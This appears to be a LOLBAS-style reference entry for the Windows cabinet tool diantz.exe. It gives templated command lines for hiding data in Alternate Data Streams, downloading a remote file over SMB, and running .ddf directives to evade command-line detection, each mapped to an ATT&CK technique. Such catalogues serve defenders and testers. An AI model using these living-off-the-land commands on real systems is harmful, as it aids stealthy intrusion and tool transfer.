.. /Diantz.exe
Star

Alternate data streams (Compression)
Download (Compression)
Execute (Compression)

Binary that package existing files into a cabinet (.cab) file

Paths:

Resources:

Acknowledgements:

Detections:

Alternate data streams

  1. Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file.

    diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab
    Use case
    Hide data compressed into an Alternate Data Stream.
    Privileges required
    User
    Operating systems
    Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
    ATT&CK® technique
    T1564.004
    Tags
    Type: Compression

Download

  1. Download and compress a remote file and store it in a CAB file on local machine.

    diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}
    Use case
    Download and compress into a cab file.
    Privileges required
    User
    Operating systems
    Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
    ATT&CK® technique
    T1105
    Tags
    Type: Compression

Execute

  1. Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.

    diantz /f {PATH:.ddf}
    Use case
    Bypass command-line based detections
    Privileges required
    User
    Operating systems
    Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
    ATT&CK® technique
    T1036
    Tags
    Type: Compression